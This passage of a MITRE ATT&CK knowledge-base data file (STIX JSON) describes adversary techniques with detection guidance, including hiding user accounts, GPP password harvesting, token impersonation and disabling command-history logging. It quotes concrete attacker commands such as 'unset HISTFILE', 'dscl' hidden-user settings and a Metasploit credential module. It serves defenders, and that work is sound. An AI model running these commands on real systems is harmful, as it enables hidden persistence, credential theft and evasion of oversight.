December 10, 2021."},{"source_name":"FireEye SMOKEDHAM June 2021","url":"https://www.fireeye.com/blog/threat-research/2021/06/darkside-affiliate-supply-chain-software-compromise.html","description":"FireEye. (2021, June 16). Smoking Out a DARKSIDE Affiliate’s Supply Chain Software Compromise. Retrieved September 22, 2021."},{"source_name":"Hide GDM User Accounts","url":"https://ubuntuhandbook.org/index.php/2021/06/hide-user-accounts-ubuntu-20-04-login-screen/","description":"Ji Mingkui. (2021, June 17). How to Hide All The User Accounts in Ubuntu 20.04, 21.04 Login Screen. Retrieved March 15, 2022."},{"source_name":"US-CERT TA18-074A","url":"https://www.us-cert.gov/ncas/alerts/TA18-074A","description":"US-CERT. (2018, March 16). Alert (TA18-074A): Russian Government Cyber Activity Targeting Energy and Other Critical Infrastructure Sectors. Retrieved June 6, 2018."}],"x_mitre_deprecated":false,"revoked":false,"description":"Adversaries may use hidden users to hide the presence of user accounts they create or modify. Administrators may want to hide users when there are many user accounts on a given system or if they want to hide their administrative or other management accounts from other users. \n\nIn macOS, adversaries can create or modify a user to be hidden through manipulating plist files, folder attributes, and user attributes. To prevent a user from being shown on the login screen and in System Preferences, adversaries can set the userID to be under 500 and set the key value <code>Hide500Users</code> to <code>TRUE</code> in the <code>/Library/Preferences/com.apple.loginwindow</code> plist file.(Citation: Cybereason OSX Pirrit) Every user has a userID associated with it. When the <code>Hide500Users</code> key value is set to <code>TRUE</code>, users with a userID under 500 do not appear on the login screen and in System Preferences. Using the command line, adversaries can use the <code>dscl</code> utility to create hidden user accounts by setting the <code>IsHidden</code> attribute to <code>1</code>. Adversaries can also hide a user’s home folder by changing the <code>chflags</code> to hidden.(Citation: Apple Support Hide a User Account) \n\nAdversaries may similarly hide user accounts in Windows. Adversaries can set the <code>HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\SpecialAccounts\\UserList</code> Registry key value to <code>0</code> for a specific user to prevent that user from being listed on the logon screen.(Citation: FireEye SMOKEDHAM June 2021)(Citation: US-CERT TA18-074A)\n\nOn Linux systems, adversaries may hide user accounts from the login screen, also referred to as the greeter. The method an adversary may use depends on which Display Manager the distribution is currently using. For example, on an Ubuntu system using the GNOME Display Manger (GDM), accounts may be hidden from the greeter using the <code>gsettings</code> command (ex: <code>sudo -u gdm gsettings set org.gnome.login-screen disable-user-list true</code>).(Citation: Hide GDM User Accounts) Display Managers are not anchored to specific distributions and may be changed by a user or adversary.","modified":"2022-04-19T02:31:01.315Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","name":"Hidden Users","x_mitre_detection":"Monitor for users that may be hidden from the login screen but still present in additional artifacts of usage such as directories and authentication logs. \n\nMonitor processes and command-line events for actions that could be taken to add a new user and subsequently hide it from login screens. Monitor Registry events for modifications to the <code>HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\SpecialAccounts\\UserList</code> key.\n\nIn macOS, monitor for commands, processes, and file activity in combination with a user that has a userID under 500.(Citation: Cybereason OSX Pirrit) Monitor for modifications to set the <code>Hide500Users</code> key value to <code>TRUE</code> in the <code>/Library/Preferences/com.apple.loginwindow</code> plist file. Monitor the command line for usage of the <code>dscl . create</code> command with the <code>IsHidden</code> attribute set to <code>1</code>.(Citation: Apple Support Hide a User Account) ","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"defense-evasion"}],"x_mitre_is_subtechnique":true,"x_mitre_data_sources":["Process: Process Creation","User Account: User Account Metadata","User Account: User Account Creation","Command: Command Execution","File: File Modification","Windows Registry: Windows Registry Key Modification"],"x_mitre_system_requirements":[],"x_mitre_defense_bypassed":[],"x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--8cdeb020-e31e-4f88-a582-f53dcfbda819","type":"attack-pattern","created":"2020-02-18T18:03:37.481Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1134.003","url":"https://attack.mitre.org/techniques/T1134/003"},{"url":"https://technet.microsoft.com/en-us/windows-server-docs/identity/ad-ds/manage/component-updates/command-line-process-auditing","description":"Mathers, B. (2017, March 7). Command line process auditing. Retrieved April 21, 2017.","source_name":"Microsoft Command-line Logging"}],"modified":"2020-02-18T18:03:37.481Z","name":"Make and Impersonate Token","description":"Adversaries may make and impersonate tokens to escalate privileges and bypass access controls. If an adversary has a username and password but the user is not logged onto the system, the adversary can then create a logon session for the user using the <code>LogonUser</code> function. The function will return a copy of the new session's access token and the adversary can use <code>SetThreadToken</code> to assign the token to a thread.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"defense-evasion"},{"kill_chain_name":"mitre-attack","phase_name":"privilege-escalation"}],"x_mitre_detection":"If an adversary is using a standard command-line shell, analysts can detect token manipulation by auditing command-line activity. Specifically, analysts should look for use of the <code>runas</code> command. Detailed command-line logging is not enabled by default in Windows.(Citation: Microsoft Command-line Logging)\n\nIf an adversary is using a payload that calls the Windows token APIs directly, analysts can detect token manipulation only through careful analysis of user network activity, examination of running processes, and correlation with other endpoint and network behavior.\n\nAnalysts can also monitor for use of Windows APIs such as <code>LogonUser</code> and <code> SetThreadToken</code> and correlate activity with other suspicious behavior to reduce false positives that may be due to normal benign use by users and administrators.","x_mitre_is_subtechnique":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":["Command: Command Execution","Process: OS API Execution"],"x_mitre_defense_bypassed":["Windows User Account Control","System access controls","File system access controls"],"x_mitre_permissions_required":["Administrator","User"],"x_mitre_effective_permissions":["SYSTEM"]},{"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--8d7bd4f5-3a89-4453-9c82-2c8894d5655e","type":"attack-pattern","created":"2020-02-11T18:43:06.253Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1552.006","url":"https://attack.mitre.org/techniques/T1552/006"},{"source_name":"Microsoft GPP 2016","url":"https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/dn581922(v%3Dws.11)","description":"Microsoft. (2016, August 31). Group Policy Preferences. Retrieved March 9, 2020."},{"url":"https://msdn.microsoft.com/library/cc422924.aspx","description":"Microsoft. (n.d.). 2.2.1.1.4 Password Encryption. Retrieved April 11, 2018.","source_name":"Microsoft GPP Key"},{"url":"https://obscuresecurity.blogspot.co.uk/2012/05/gpp-password-retrieval-with-powershell.html","description":"Campbell, C. (2012, May 24). GPP Password Retrieval with PowerShell. Retrieved April 11, 2018.","source_name":"Obscuresecurity Get-GPPPassword"},{"description":"Sean Metcalf. (2015, December 28). Finding Passwords in SYSVOL & Exploiting Group Policy Preferences. Retrieved February 17, 2020.","url":"https://adsecurity.org/?p=2288","source_name":"ADSecurity Finding Passwords in SYSVOL"}],"modified":"2020-06-17T14:25:38.082Z","name":"Group Policy Preferences","description":"Adversaries may attempt to find unsecured credentials in Group Policy Preferences (GPP). GPP are tools that allow administrators to create domain policies with embedded credentials. These policies allow administrators to set local accounts.(Citation: Microsoft GPP 2016)\n\nThese group policies are stored in SYSVOL on a domain controller. This means that any domain user can view the SYSVOL share and decrypt the password (using the AES key that has been made public).(Citation: Microsoft GPP Key)\n\nThe following tools and scripts can be used to gather and decrypt the password file from Group Policy Preference XML files:\n\n* Metasploit’s post exploitation module: <code>post/windows/gather/credentials/gpp</code>\n* Get-GPPPassword(Citation: Obscuresecurity Get-GPPPassword)\n* gpprefdecrypt.py\n\nOn the SYSVOL share, adversaries may use the following command to enumerate potential GPP XML files: <code>dir /s * .xml</code>\n","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"credential-access"}],"x_mitre_detection":"Monitor for attempts to access SYSVOL that involve searching for XML files. \n\nDeploy a new XML file with permissions set to Everyone:Deny and monitor for Access Denied errors.(Citation: ADSecurity Finding Passwords in SYSVOL)","x_mitre_is_subtechnique":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":["File: File Access","Command: Command Execution"],"x_mitre_permissions_required":["User"]},{"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--8df54627-376c-487c-a09c-7d2b5620f56e","type":"attack-pattern","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":true,"external_references":[{"source_name":"mitre-attack","external_id":"T1196","url":"https://attack.mitre.org/techniques/T1196"},{"source_name":"Microsoft Implementing CPL","description":"M. (n.d.). Implementing Control Panel Items. Retrieved January 18, 2018.","url":"https://msdn.microsoft.com/library/windows/desktop/cc144185.aspx"},{"url":"https://www.trendmicro.de/cloud-content/us/pdfs/security-intelligence/white-papers/wp-cpl-malware.pdf","description":"Mercês, F. (2014, January 27). CPL Malware - Malicious Control Panel Items. Retrieved January 18, 2018.","source_name":"TrendMicro CPL Malware Jan 2014"},{"url":"https://blog.trendmicro.com/trendlabs-security-intelligence/control-panel-files-used-as-malicious-attachments/","description":"Bernardino, J. (2013, December 17). Control Panel Files Used As Malicious Attachments. Retrieved January 18, 2018.","source_name":"TrendMicro CPL Malware Dec 2013"},{"url":"https://researchcenter.paloaltonetworks.com/2017/11/unit42-new-malware-with-ties-to-sunorcal-discovered/","description":"Grunzweig, J. and Miller-Osborn, J. (2017, November 10). New Malware with Ties to SunOrcal Discovered. Retrieved November 16, 2017.","source_name":"Palo Alto Reaver Nov 2017"}],"modified":"2020-01-31T18:59:21.682Z","name":"Control Panel Items","description":"Windows Control Panel items are utilities that allow users to view and adjust computer settings. Control Panel items are registered executable (.exe) or Control Panel (.cpl) files, the latter are actually renamed dynamic-link library (.dll) files that export a CPlApplet function. (Citation: Microsoft Implementing CPL) (Citation: TrendMicro CPL Malware Jan 2014) Control Panel items can be executed directly from the command line, programmatically via an application programming interface (API) call, or by simply double-clicking the file. (Citation: Microsoft Implementing CPL) (Citation: TrendMicro CPL Malware Jan 2014) (Citation: TrendMicro CPL Malware Dec 2013)\n\nFor ease of use, Control Panel items typically include graphical menus available to users after being registered and loaded into the Control Panel. (Citation: Microsoft Implementing CPL)\n\nAdversaries can use Control Panel items as execution payloads to execute arbitrary commands. Malicious Control Panel items can be delivered via [Spearphishing Attachment](https://attack.mitre.org/techniques/T1193) campaigns (Citation: TrendMicro CPL Malware Jan 2014) (Citation: TrendMicro CPL Malware Dec 2013) or executed as part of multi-stage malware. (Citation: Palo Alto Reaver Nov 2017) Control Panel items, specifically CPL files, may also bypass application and/or file extension whitelisting.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"defense-evasion"},{"kill_chain_name":"mitre-attack","phase_name":"execution"}],"x_mitre_detection":"Monitor and analyze activity related to items associated with CPL files, such as the Windows Control Panel process binary (control.exe) and the Control_RunDLL and ControlRunDLLAsUser API functions in shell32.dll. When executed from the command line or clicked, control.exe will execute the CPL file (ex: <code>control.exe file.cpl</code>) before [Rundll32](https://attack.mitre.org/techniques/T1085) is used to call the CPL's API functions (ex: <code>rundll32.exe shell32.dll,Control_RunDLL file.cpl</code>). CPL files can be executed directly via the CPL API function with just the latter [Rundll32](https://attack.mitre.org/techniques/T1085) command, which may bypass detections and/or execution filters for control.exe. (Citation: TrendMicro CPL Malware Jan 2014)\n\nInventory Control Panel items to locate unregistered and potentially malicious files present on systems:\n\n* Executable format registered Control Panel items will have a globally unique identifier (GUID) and registration Registry entries in <code>HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer\\ControlPanel\\NameSpace</code> and <code>HKEY_CLASSES_ROOT\\CLSID\\{GUID}</code>. These entries may contain information about the Control Panel item such as its display name, path to the local file, and the command executed when opened in the Control Panel. (Citation: Microsoft Implementing CPL)\n* CPL format registered Control Panel items stored in the System32 directory are automatically shown in the Control Panel. Other Control Panel items will have registration entries in the <code>Cpls</code> and <code>Extended Properties</code> Registry keys of <code>HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\Control Panel</code>. These entries may include information such as a GUID, path to the local file, and a canonical name used to launch the file programmatically (<code> WinExec(\"c:\\windows\\system32\\control.exe {Canonical_Name}\", SW_NORMAL);</code>) or from a command line (<code>control.exe /name {Canonical_Name}</code>). (Citation: Microsoft Implementing CPL)\n* Some Control Panel items are extensible via Shell extensions registered in <code>HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\Controls Folder\\{name}\\Shellex\\PropertySheetHandlers</code> where {name} is the predefined name of the system item. (Citation: Microsoft Implementing CPL)\n\nAnalyze new Control Panel items as well as those present on disk for malicious content. Both executable and CPL formats are compliant Portable Executable (PE) images and can be examined using traditional tools and methods, pending anti-reverse-engineering techniques. (Citation: TrendMicro CPL Malware Jan 2014)","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":[],"x_mitre_defense_bypassed":["Application whitelisting","Process whitelisting"],"x_mitre_permissions_required":["User","Administrator","SYSTEM"]},{"x_mitre_platforms":["Linux","macOS","Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["William Cain"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--8e350c1d-ac79-4b5c-bd4e-7476d7e84ec5","type":"attack-pattern","created":"2020-03-15T15:34:30.767Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1048.002","url":"https://attack.mitre.org/techniques/T1048/002"},{"url":"https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf","description":"Gardiner, J.,  Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.","source_name":"University of Birmingham C2"}],"modified":"2021-10-15T22:44:11.953Z","name":"Exfiltration Over Asymmetric Encrypted Non-C2 Protocol","description":"Adversaries may steal data by exfiltrating it over an asymmetrically encrypted network protocol other than that of the existing command and control channel. The data may also be sent to an alternate network location from the main command and control server. \n\nAsymmetric encryption algorithms are those that use different keys on each end of the channel. Also known as public-key cryptography, this requires pairs of cryptographic keys that can encrypt/decrypt data from the corresponding key. Each end of the communication channels requires a private key (only in the procession of that entity) and the public key of the other entity. The public keys of each entity are exchanged before encrypted communications begin. \n\nNetwork protocols that use asymmetric encryption (such as HTTPS/TLS/SSL) often utilize symmetric encryption once keys are exchanged. Adversaries may opt to use these encrypted mechanisms that are baked into a protocol. ","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"exfiltration"}],"x_mitre_detection":"Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious.(Citation: University of Birmingham C2) ","x_mitre_is_subtechnique":true,"x_mitre_version":"1.1","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":["File: File Access","Network Traffic: Network Traffic Flow","Command: Command Execution","Network Traffic: Network Connection Creation","Network Traffic: Network Traffic Content"]},{"x_mitre_platforms":["Azure AD","Office 365","SaaS","IaaS","Google Workspace"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Praetorian"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--8f104855-e5b7-4077-b1f5-bc3103b41abe","type":"attack-pattern","created":"2020-02-21T21:08:36.570Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1087.004","url":"https://attack.mitre.org/techniques/T1087/004"},{"description":"Microsoft. (n.d.). Get-MsolRoleMember. Retrieved October 6, 2019.","url":"https://docs.microsoft.com/en-us/powershell/module/msonline/get-msolrolemember?view=azureadps-1.0","source_name":"Microsoft msolrolemember"},{"description":"Stringer, M.. (2018, November 21). RainDance. Retrieved October 6, 2019.","url":"https://github.com/True-Demon/raindance","source_name":"GitHub Raindance"},{"description":"Microsoft. (n.d.). az ad user. Retrieved October 6, 2019.","url":"https://docs.microsoft.com/en-us/cli/azure/ad/user?view=azure-cli-latest","source_name":"Microsoft AZ CLI"},{"description":"Felch, M.. (2018, August 31). Red Teaming Microsoft Part 1 Active Directory Leaks via Azure. Retrieved October 6, 2019.","url":"https://www.blackhillsinfosec.com/red-teaming-microsoft-part-1-active-directory-leaks-via-azure/","source_name":"Black Hills Red Teaming MS AD Azure, 2018"},{"source_name":"AWS List Roles","description":"Amazon. (n.d.). List Roles. Retrieved August 11, 2020.","url":"https://docs.aws.amazon.com/cli/latest/reference/iam/list-roles.html"},{"source_name":"AWS List Users","url":"https://docs.aws.amazon.com/cli/latest/reference/iam/list-users.html","description":"Amazon. (n.d.). List Users. Retrieved August 11, 2020."},{"source_name":"Google Cloud - IAM Servie Accounts List API","url":"https://cloud.google.com/sdk/gcloud/reference/iam/service-accounts/list","description":"Google. (2020, June 23). gcloud iam service-accounts list. Retrieved August 4, 2020."}],"modified":"2021-03-16T12:54:41.133Z","name":"Cloud Account","description":"Adversaries may attempt to get a listing of cloud accounts. Cloud accounts are those created and configured by an organization for use by users, remote support, services, or for administration of resources within a cloud service provider or SaaS application.\n\nWith authenticated access there are several tools that can be used to find accounts. The <code>Get-MsolRoleMember</code> PowerShell cmdlet can be used to obtain account names given a role or permissions group in Office 365.(Citation: Microsoft msolrolemember)(Citation: GitHub Raindance) The Azure CLI (AZ CLI) also provides an interface to obtain user accounts with authenticated access to a domain. The command <code>az ad user list</code> will list all users within a domain.(Citation: Microsoft AZ CLI)(Citation: Black Hills Red Teaming MS AD Azure, 2018) \n\nThe AWS command <code>aws iam list-users</code> may be used to obtain a list of users in the current account while <code>aws iam list-roles</code> can obtain IAM roles that have a specified path prefix.(Citation: AWS List Roles)(Citation: AWS List Users) In GCP, <code>gcloud iam service-accounts list</code> and <code>gcloud projects get-iam-policy</code> may be used to obtain a listing of service accounts and users in a project.(Citation: Google Cloud - IAM Servie Accounts List API)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"discovery"}],"x_mitre_detection":"Monitor processes, command-line arguments, and logs for actions that could be taken to gather information about cloud accounts, including the use of calls to cloud APIs that perform account discovery.\n\nSystem and network discovery techniques normally occur throughout an operation as an adversary learns the environment, and also to an extent in normal network operations. Therefore discovery data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.","x_mitre_is_subtechnique":true,"x_mitre_version":"1.2","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":["Command: Command Execution","User Account: User Account Metadata"],"x_mitre_permissions_required":["User"]},{"x_mitre_platforms":["Linux","macOS","Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580","type":"attack-pattern","created":"2017-05-31T21:30:48.728Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1057","external_id":"T1057"},{"external_id":"CAPEC-573","source_name":"capec","url":"https://capec.mitre.org/data/definitions/573.html"}],"modified":"2020-03-26T18:05:53.130Z","name":"Process Discovery","description":"Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from [Process Discovery](https://attack.mitre.org/techniques/T1057) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.\n\nIn Windows environments, adversaries could obtain details on running processes using the [Tasklist](https://attack.mitre.org/software/S0057) utility via [cmd](https://attack.mitre.org/software/S0106) or <code>Get-Process</code> via [PowerShell](https://attack.mitre.org/techniques/T1059/001). Information about processes can also be extracted from the output of [Native API](https://attack.mitre.org/techniques/T1106) calls such as <code>CreateToolhelp32Snapshot</code>. In Mac and Linux, this is accomplished with the <code>ps</code> command. Adversaries may also opt to enumerate processes via /proc.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"discovery"}],"x_mitre_detection":"System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.\n\nNormal, benign system and network events that look like process discovery may be uncommon, depending on the environment and how they are used. Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).","x_mitre_version":"1.2","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":["Command: Command Execution","Process: Process Creation","Process: OS API Execution"],"x_mitre_permissions_required":["User","Administrator","SYSTEM"],"x_mitre_system_requirements":["Administrator, SYSTEM may provide better process ownership details"]},{"x_mitre_platforms":["Linux","macOS","Windows","Network"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Vikas Singh, Sophos","Emile Kenning, Sophos","Austin Clark, @c2defense"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"attack-pattern","id":"attack-pattern--8f504411-cb96-4dac-a537-8d2bb7679c59","created":"2020-02-21T20:56:06.498Z","x_mitre_version":"2.1","external_references":[{"source_name":"mitre-attack","external_id":"T1562.003","url":"https://attack.mitre.org/techniques/T1562/003"},{"source_name":"Sophos PowerShell command audit","url":"https://community.sophos.com/products/intercept/early-access-program/f/live-discover-response-queries/121529/live-discover---powershell-command-audit","description":"jak. (2020, June 27). Live Discover - PowerShell command audit. Retrieved August 21, 2020."},{"source_name":"Microsoft PowerShell Command History","url":"https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_history?view=powershell-7","description":"Microsoft. (2020, May 13). About History. Retrieved September 4, 2020."},{"source_name":"Sophos PowerShell Command History Forensics","url":"https://community.sophos.com/products/malware/b/blog/posts/powershell-command-history-forensics","description":"Vikas, S. (2020, August 26). PowerShell Command History Forensics. Retrieved September 4, 2020."},{"url":"https://capec.mitre.org/data/definitions/13.html","source_name":"capec","external_id":"CAPEC-13"}],"x_mitre_deprecated":false,"revoked":false,"description":"Adversaries may impair command history logging to hide commands they run on a compromised system. Various command interpreters keep track of the commands users type in their terminal so that users can retrace what they've done. \n\nOn Linux and macOS, command history is tracked in a file pointed to by the environment variable <code>HISTFILE</code>. When a user logs off a system, this information is flushed to a file in the user's home directory called <code>~/.bash_history</code>. The <code>HISTCONTROL</code> environment variable keeps track of what should be saved by the <code>history</code> command and eventually into the <code>~/.bash_history</code> file when a user logs out. <code>HISTCONTROL</code> does not exist by default on macOS, but can be set by the user and will be respected.\n\nAdversaries may clear the history environment variable (<code>unset HISTFILE</code>) or set the command history size to zero (<code>export HISTFILESIZE=0</code>) to prevent logging of commands. Additionally, <code>HISTCONTROL</code> can be configured to ignore commands that start with a space by simply setting it to \"ignorespace\". <code>HISTCONTROL</code> can also be set to ignore duplicate commands by setting it to \"ignoredups\". In some Linux systems, this is set by default to \"ignoreboth\" which covers both of the previous examples. This means that “ ls” will not be saved, but “ls” would be saved by history. Adversaries can abuse this to operate without leaving traces by simply prepending a space to all of their terminal commands. \n\nOn Windows systems, the <code>PSReadLine</code> module tracks commands used in all PowerShell sessions and writes them to a file (<code>$env:APPDATA\\Microsoft\\Windows\\PowerShell\\PSReadLine\\ConsoleHost_history.txt</code> by default). Adversaries may change where these logs are saved using <code>Set-PSReadLineOption -HistorySavePath {File Path}</code>. This will cause <code>ConsoleHost_history.txt</code> to stop receiving logs. Additionally, it is possible to turn off logging to this file using the PowerShell command <code>Set-PSReadlineOption -HistorySaveStyle SaveNothing</code>.(Citation: Microsoft PowerShell Command History)(Citation: Sophos PowerShell command audit)(Citation: Sophos PowerShell Command History Forensics)\n\nAdversaries may also leverage a [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) on network devices to disable historical command logging.","modified":"2022-04-20T18:11:45.153Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","name":"Impair Command History Logging","x_mitre_detection":"Correlating a user session with a distinct lack of new commands in their <code>.bash_history</code> can be a clue to suspicious behavior. Additionally, users checking or changing their <code>HISTCONTROL</code>, <code>HISTFILE</code>, or <code>HISTFILESIZE</code> environment variables may be suspicious.\n\nMonitor for modification of PowerShell command history settings through processes being created with <code>-HistorySaveStyle SaveNothing</code> command-line arguments and use of the PowerShell commands <code>Set-PSReadlineOption -HistorySaveStyle SaveNothing</code> and <code>Set-PSReadLineOption -HistorySavePath {File Path}</code>. Further, [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) commands may also be used to clear or disable historical log data with built-in features native to the network device platform.  Monitor such command activity for unexpected or unauthorized use of commands being run by non-standard users from non-standard locations.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"defense-evasion"}],"x_mitre_is_subtechnique":true,"x_mitre_data_sources":["Sensor Health: Host Status","Command: Command Execution"],"x_mitre_system_requirements":[],"x_mitre_defense_bypassed":["Host forensic analysis","Log analysis"],"x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_platforms":["macOS"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--8faedf87-dceb-4c35-b2a2-7286f59a3bc3","type":"attack-pattern","created":"2019-12-03T14:15:27.452Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1053.004","url":"https://attack.mitre.org/techniques/T1053/004"},{"url":"https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/CreatingLaunchdJobs.html","description":"Apple. (n.d.). Creating Launch Daemons and Agents. Retrieved July 10, 2017.","source_name":"AppleDocs Launch Agent Daemons"},{"url":"https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf","description":"Patrick Wardle. (2014, September). Methods of Malware Persistence on Mac OS X. Retrieved July 5, 2017.","source_name":"Methods of Mac Malware Persistence"}],"modified":"2021-10-07T21:38:03.610Z","name":"Launchd","description":"This technique is deprecated due to the inaccurate usage. The report cited did not provide technical detail as to how the malware interacted directly with launchd rather than going through known services. Other system services are used to interact with launchd rather than launchd being used by itself. \n\nAdversaries may abuse the <code>Launchd</code> daemon to perform task scheduling for initial or recurring execution of malicious code. The <code>launchd</code> daemon, native to macOS, is responsible for loading and maintaining services within the operating system. This process loads the parameters for each launch-on-demand system-level daemon from the property list (plist) files found in <code>/System/Library/LaunchDaemons</code> and <code>/Library/LaunchDaemons</code> (Citation: AppleDocs Launch Agent Daemons). These LaunchDaemons have property list files which point to the executables that will be launched (Citation: Methods of Mac Malware Persistence).\n\nAn adversary may use the <code>launchd</code> daemon in macOS environments to schedule new executables to run at system startup or on a scheduled basis for persistence. <code>launchd</code> can also be abused to run a process under the context of a specified account. Daemons, such as <code>launchd</code>, run with the permissions of the root user account, and will operate regardless of which user account is logged in.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"execution"},{"kill_chain_name":"mitre-attack","phase_name":"persistence"},{"kill_chain_name":"mitre-attack","phase_name":"privilege-escalation"}],"x_mitre_detection":"Monitor scheduled task creation from common utilities using command-line invocation. Legitimate scheduled tasks may be created during installation of new software or through system administration functions. Look for changes to tasks that do not correlate with known software, patch cycles, etc. \n\nSuspicious program execution through scheduled tasks may show up as outlier processes that have not been seen before when compared against historical data. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.","x_mitre_is_subtechnique":true,"x_mitre_deprecated":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":[],"x_mitre_permissions_required":["root"]},{"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Brent Murphy, Elastic","David French, Elastic"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"attack-pattern","id":"attack-pattern--910906dd-8c0a-475a-9cc1-5e029e2fad58","created":"2020-01-24T14:07:56.276Z","x_mitre_version":"1.2","external_references":[{"source_name":"mitre-attack","external_id":"T1546.003","url":"https://attack.mitre.org/techniques/T1546/003"},{"source_name":"FireEye WMI 2015","url":"https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/wp-windows-management-instrumentation.pdf","description":"Ballenthin, W., et al. (2015). Windows Management Instrumentation (WMI) Offense, Defense, and Forensics. 